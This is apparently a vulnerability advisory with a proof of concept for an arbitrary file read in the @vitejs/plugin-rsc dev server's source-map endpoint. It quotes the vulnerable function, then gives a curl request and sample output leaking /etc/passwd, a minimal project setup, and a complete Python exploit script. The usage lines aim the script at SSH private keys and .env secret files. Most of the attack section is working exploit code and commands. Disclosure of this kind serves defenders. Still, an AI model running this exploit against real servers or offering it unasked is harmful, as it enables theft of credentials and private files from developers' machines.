@vitejs/plugin-rsc has an Arbitrary File Read via `/__vite_rsc_findSourceMapURL` Endpoint

async function findSourceMapURL(
  server: ViteDevServer,
  filename: string,
  environmentName: string,
): Promise<object | undefined> {
  // this is likely server external (i.e. outside of Vite processing)
  if (filename.startsWith('file://')) {
    filename = fileURLToPath(filename)
    if (fs.existsSync(filename)) {
      // line-by-line identity source map
      const content = fs.readFileSync(filename, 'utf-8')  // ← ARBITRARY FILE READ
      return {
        version: 3,
        sources: [filename],
        sourcesContent: [content],  // ← FILE CONTENTS LEAKED HERE
        mappings: 'AAAA' + ';AACA'.repeat(content.split('\n').length),
      }
    }
    return
  }
  // ... rest of the function
}

curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'

{
  "version": 3,
  "sources": ["/etc/passwd"],
  "sourcesContent": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/sbin:..."],
  "mappings": "AAAA;AACA;AACA;..."
}

import { defineConfig } from 'vite'
import react from '@vitejs/plugin-rsc'

export default defineConfig({
  plugins: [
    react({
      serverHandler: false,
    }),
  ],
})

{
  "name": "poc-vite-rsc-file-read",
  "version": "1.0.0",
  "private": true,
  "type": "module",
  "scripts": {
    "dev": "vite --host 0.0.0.0"
  },
  "dependencies": {
    "react": "^19.0.0",
    "react-dom": "^19.0.0"
  },
  "devDependencies": {
    "@vitejs/plugin-rsc": "latest",
    "vite": "^6.0.0"
  }
}

import React from 'react'
import ReactDOM from 'react-dom/client'
ReactDOM.createRoot(document.getElementById('root')!).render(<div>PoC</div>)

# Install and start
pnpm install
pnpm dev

# In another terminal, exploit:
curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'

#!/usr/bin/env python3
"""Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL"""

import json
import sys
import urllib.request
import urllib.parse

def read_file(host, port, file_path):
    """Read a file from the target server via the vulnerability."""
    url = f"http://{host}:{port}/__vite_rsc_findSourceMapURL"
    params = urllib.parse.urlencode({
        'filename': f'file://{file_path}',
        'environmentName': 'Server'
    })
    
    try:
        with urllib.request.urlopen(f"{url}?{params}", timeout=10) as response:
            data = json.loads(response.read().decode('utf-8'))
            if 'sourcesContent' in data and data['sourcesContent']:
                return data['sourcesContent'][0]
    except Exception as e:
        return f"Error: {e}"
    return None

if __name__ == '__main__':
    host = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
    port = sys.argv[2] if len(sys.argv) > 2 else '5173'
    file_path = sys.argv[3] if len(sys.argv) > 3 else '/etc/passwd'
    
    content = read_file(host, port, file_path)
    if content:
        print(f"[+] Successfully read {file_path}:")
        print("-" * 60)
        print(content)
        print("-" * 60)
    else:
        print(f"[-] Failed to read {file_path}")

python3 exploit.py localhost 5173 /etc/passwd
python3 exploit.py localhost 5173 /root/.ssh/id_rsa
python3 exploit.py localhost 5173 /home/user/.env